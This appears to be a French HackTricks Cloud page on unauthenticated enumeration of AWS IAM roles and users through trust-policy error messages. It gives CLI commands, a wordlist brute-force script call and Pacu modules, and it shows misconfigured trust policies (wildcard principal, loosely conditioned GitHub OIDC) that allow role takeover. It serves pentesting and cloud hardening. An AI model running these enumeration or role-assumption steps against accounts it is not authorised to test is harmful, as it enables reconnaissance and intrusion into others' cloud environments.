Français - Ht Cloud
HackTricks Training Twitter Linkedin Sponsor

AWS - IAM & STS Unauthenticated Enum

Soutenez HackTricks

Enumérer les Rôles et Noms d'Utilisateurs dans un compte

Assume Role Brute-Force

Cette technique ne fonctionne plus car que le rôle existe ou non, vous obtenez toujours cette erreur :

An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::947247140022:user/testenv is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::429217632764:role/account-balanceasdas

Vous pouvez tester cela en exécutant :

aws sts assume-role --role-arn arn:aws:iam::412345678909:role/superadmin --role-session-name s3-access-example

Tenter de prendre un rôle sans les permissions nécessaires déclenche un message d'erreur AWS. Par exemple, si non autorisé, AWS pourrait renvoyer :

An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::012345678901:user/MyUser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::111111111111:role/aws-service-role/rds.amazonaws.com/AWSServiceRoleForRDS

Ce message confirme l'existence du rôle mais indique que sa politique d'assumer le rôle ne permet pas votre supposition. En revanche, essayer d'assumer un rôle inexistant conduit à une erreur différente :

An error occurred (AccessDenied) when calling the AssumeRole operation: Not authorized to perform sts:AssumeRole

Fait intéressant, cette méthode de distinction entre les rôles existants et non existants est applicable même entre différents comptes AWS. Avec un ID de compte AWS valide et une liste de mots ciblée, on peut énumérer les rôles présents dans le compte sans faire face à des limitations inhérentes.

Vous pouvez utiliser ce script pour énumérer les principaux potentiels en abusant de ce problème.

Trust Policies: Brute-Force des rôles et utilisateurs de comptes croisés

Configurer ou mettre à jour la politique de confiance d'un rôle IAM implique de définir quelles ressources ou services AWS sont autorisés à assumer ce rôle et à obtenir des informations d'identification temporaires. Si la ressource spécifiée dans la politique existe, la politique de confiance est enregistrée avec succès. Cependant, si la ressource n'existe pas, une erreur est générée, indiquant qu'un principal invalide a été fourni.

Notez que dans cette ressource, vous pouvez spécifier un rôle ou un utilisateur de compte croisé :

  • arn:aws:iam::acc_id:role/role_name

  • arn:aws:iam::acc_id:user/user_name

Voici un exemple de politique :

{
"Version":"2012-10-17",
"Statement":[
{
"Effect":"Allow",
"Principal":
{
"AWS":"arn:aws:iam::216825089941:role\/Test"
},
"Action":"sts:AssumeRole"
}
]
}

GUI

C'est l'erreur que vous trouverez si vous utilisez un rôle qui n'existe pas. Si le rôle existe, la politique sera enregistrée sans aucune erreur. (L'erreur est pour la mise à jour, mais elle fonctionne également lors de la création)

CLI

### You could also use: aws iam update-assume-role-policy
# When it works
aws iam create-role --role-name Test-Role --assume-role-policy-document file://a.json
{
"Role": {
"Path": "/",
"RoleName": "Test-Role",
"RoleId": "AROA5ZDCUJS3DVEIYOB73",
"Arn": "arn:aws:iam::947247140022:role/Test-Role",
"CreateDate": "2022-05-03T20:50:04Z",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::316584767888:role/account-balance"
},
"Action": [
"sts:AssumeRole"
]
}
]
}
}
}

# When it doesn't work
aws iam create-role --role-name Test-Role2 --assume-role-policy-document file://a.json
An error occurred (MalformedPolicyDocument) when calling the CreateRole operation: Invalid principal in policy: "AWS":"arn:aws:iam::316584767888:role/account-balanceefd23f2"

Vous pouvez automatiser ce processus avec https://github.com/carlospolop/aws_tools

  • bash unauth_iam.sh -t user -i 316584767888 -r TestRole -w ./unauth_wordlist.txt

Ou en utilisant Pacu :

  • run iam__enum_users --role-name admin --account-id 229736458923 --word-list /tmp/names.txt

  • run iam__enum_roles --role-name admin --account-id 229736458923 --word-list /tmp/names.txt

  • Le rôle admin utilisé dans l'exemple est un rôle dans votre compte à être usurpé par pacu pour créer les politiques nécessaires à l'énumération

Privesc

Dans le cas où le rôle était mal configuré et permet à quiconque de l'assumer :

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "sts:AssumeRole"
}
]
}

L'attaquant pourrait simplement le supposer.

Fédération OIDC de Tiers

Imaginez que vous parvenez à lire un workflow Github Actions qui accède à un rôle à l'intérieur d'AWS. Cette confiance pourrait donner accès à un rôle avec la politique de confiance suivante :

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::<acc_id>:oidc-provider/token.actions.githubusercontent.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
}
}
}
]
}

Cette politique de confiance pourrait être correcte, mais le manque de conditions supplémentaires devrait vous rendre méfiant. Cela est dû au fait que le rôle précédent peut être assumé par N'IMPORTE QUI depuis Github Actions ! Vous devriez spécifier dans les conditions d'autres éléments tels que le nom de l'organisation, le nom du dépôt, l'environnement, la branche...

Une autre mauvaise configuration potentielle est d'ajouter une condition comme la suivante :

"StringLike": {
"token.actions.githubusercontent.com:sub": "repo:org_name*:*"
}

Notez que wildcard (*) avant le deux-points (:). Vous pouvez créer une organisation telle que org_name1 et assumer le rôle à partir d'une Github Action.

Références

Soutenez HackTricks
PreviousAWS - Elasticsearch Unauthenticated EnumNextAWS - Identity Center & SSO Unauthenticated Enum

Last updated